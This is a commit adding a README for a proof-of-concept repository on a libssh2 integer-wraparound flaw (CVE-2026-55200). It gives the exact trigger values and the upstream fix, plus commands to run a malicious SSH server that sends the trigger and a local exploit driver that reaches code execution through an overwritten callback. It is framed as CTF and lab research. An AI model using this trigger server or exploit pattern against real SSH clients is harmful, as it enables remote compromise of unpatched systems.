Upload files to "libssh2-cve-2026-55200-poc"
This commit is contained in:
@@ -0,0 +1,193 @@
|
||||
# libssh2 CVE-2026-55200 PoC and local RCE scaffold
|
||||
|
||||
This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH `packet_length` condition in libssh2's `ssh2_transport_read()` transport parser path.
|
||||
|
||||
Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.
|
||||
|
||||
## Summary
|
||||
|
||||
libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.
|
||||
|
||||
The vulnerable source shape is:
|
||||
|
||||
```text
|
||||
total_num = 4
|
||||
packet_length = decoded SSH packet_length field
|
||||
reject only if packet_length < 1
|
||||
total_num += packet_length + mac_len + auth_len
|
||||
reject if total_num > 35000 or total_num == 0
|
||||
allocate total_num bytes
|
||||
```
|
||||
|
||||
With `packet_length=0xffffffff`, `mac_len=0`, and `auth_len=16`, the vulnerable C expression can produce allocation size `19`:
|
||||
|
||||
```text
|
||||
packet_length + mac_len + auth_len == 15 modulo 2^32
|
||||
4 + 15 == 19
|
||||
```
|
||||
|
||||
The original `packet_length` remains `0xffffffff`. Later full-packet processing can still use packet-length-derived sizes, including a `packet_length - 1` style length, after the allocation decision has already been made.
|
||||
|
||||
The upstream fix rejects `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` before the addition.
|
||||
|
||||
## Files
|
||||
|
||||
- `poc/cve_2026_55200_probe.c` - standalone C11 arithmetic verifier.
|
||||
- `poc/libpwn_cve_2026_55200_server.py` - minimal malicious SSH server/trigger scaffold.
|
||||
- `poc/libpwn_local_rce_harness.c` - controlled local vulnerable target modeling the wrapped allocation-to-control pattern.
|
||||
- `poc/libpwn_local_rce_exploit.py` - local exploit driver that overwrites the harness callback and creates an RCE proof file.
|
||||
- `evidence/2026-06-23-local-harness-output.txt` - earlier arithmetic verifier evidence.
|
||||
|
||||
## Affected Source Path
|
||||
|
||||
The affected path is in:
|
||||
|
||||
```text
|
||||
src/transport.c:ssh2_transport_read()
|
||||
```
|
||||
|
||||
The fix is upstream commit:
|
||||
|
||||
```text
|
||||
97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
|
||||
```
|
||||
|
||||
The relevant fix adds a `packet_length > LIBSSH2_PACKET_MAXPAYLOAD` guard before the vulnerable addition in the full-packet path.
|
||||
|
||||
## Arithmetic Verifier
|
||||
|
||||
Linux, macOS, WSL, or MinGW:
|
||||
|
||||
```bash
|
||||
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
|
||||
./cve_2026_55200_probe
|
||||
```
|
||||
|
||||
Windows PowerShell with MinGW:
|
||||
|
||||
```powershell
|
||||
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
|
||||
.\cve_2026_55200_probe.exe
|
||||
```
|
||||
|
||||
Useful modes:
|
||||
|
||||
```bash
|
||||
./cve_2026_55200_probe --benign
|
||||
./cve_2026_55200_probe --native
|
||||
./cve_2026_55200_probe --check
|
||||
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
|
||||
```
|
||||
|
||||
Expected default proof condition:
|
||||
|
||||
```text
|
||||
vulnerable32_decision=accepted
|
||||
vulnerable32_allocation=19
|
||||
fixed32_decision=rejected: out of boundary
|
||||
native_unpatched_decision=accepted
|
||||
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
|
||||
result=PASS
|
||||
```
|
||||
|
||||
## Malicious SSH Trigger Scaffold
|
||||
|
||||
Local crypto and arithmetic self-test:
|
||||
|
||||
```bash
|
||||
python poc/libpwn_cve_2026_55200_server.py --self-test
|
||||
```
|
||||
|
||||
Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:
|
||||
|
||||
```bash
|
||||
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
|
||||
```
|
||||
|
||||
Run as a one-shot malicious server for a challenge client:
|
||||
|
||||
```bash
|
||||
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
|
||||
```
|
||||
|
||||
Change `--listen-host` and `--listen-port` for your lab instance. The top of the script also leaves:
|
||||
|
||||
```python
|
||||
HOST = ""
|
||||
PORT = 0
|
||||
```
|
||||
|
||||
intentionally open.
|
||||
|
||||
The server negotiates `curve25519-sha256`, RSA host key auth, and `chacha20-poly1305@openssh.com`, then sends a malformed encrypted server-to-client packet whose decrypted SSH `packet_length` is `0xffffffff`.
|
||||
|
||||
## Controlled Local RCE Harness
|
||||
|
||||
Build the local vulnerable target:
|
||||
|
||||
```bash
|
||||
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
|
||||
```
|
||||
|
||||
Windows PowerShell with MinGW:
|
||||
|
||||
```powershell
|
||||
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
|
||||
```
|
||||
|
||||
Run the local exploit driver:
|
||||
|
||||
```bash
|
||||
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
|
||||
cat poc/libpwn_rce_proof.txt
|
||||
```
|
||||
|
||||
Windows PowerShell:
|
||||
|
||||
```powershell
|
||||
python poc\libpwn_local_rce_exploit.py
|
||||
Get-Content poc\libpwn_rce_proof.txt
|
||||
```
|
||||
|
||||
Expected proof:
|
||||
|
||||
```text
|
||||
RCE_PROOF=PASS
|
||||
libpwn-rce-verified
|
||||
```
|
||||
|
||||
The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating `libpwn_rce_proof.txt`.
|
||||
|
||||
## 64-bit Note
|
||||
|
||||
A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes `packet_length + mac_len + auth_len` from 32-bit/integer operands before adding that result into `size_t`, so `0xffffffff + 0 + 16` wraps to `15` and then `4 + 15` becomes allocation size `19`.
|
||||
|
||||
## Verification Status
|
||||
|
||||
Verified locally:
|
||||
|
||||
```powershell
|
||||
python poc\libpwn_cve_2026_55200_server.py --self-test
|
||||
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
|
||||
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
|
||||
python poc\libpwn_local_rce_exploit.py
|
||||
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
|
||||
```
|
||||
|
||||
## Limits
|
||||
|
||||
`libpwn_cve_2026_55200_server.py` is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.
|
||||
|
||||
`libpwn_local_rce_harness.c` is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.
|
||||
|
||||
## References
|
||||
|
||||
- CVE record: `https://www.cve.org/CVERecord?id=CVE-2026-55200`
|
||||
- NVD entry: `https://nvd.nist.gov/vuln/detail/CVE-2026-55200`
|
||||
- Upstream fix: `https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8`
|
||||
- Upstream PR: `https://github.com/libssh2/libssh2/pull/2052`
|
||||
- VulnCheck advisory: `https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c`
|
||||
|
||||
## Responsible Use
|
||||
|
||||
Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.
|
||||
Reference in New Issue
Block a user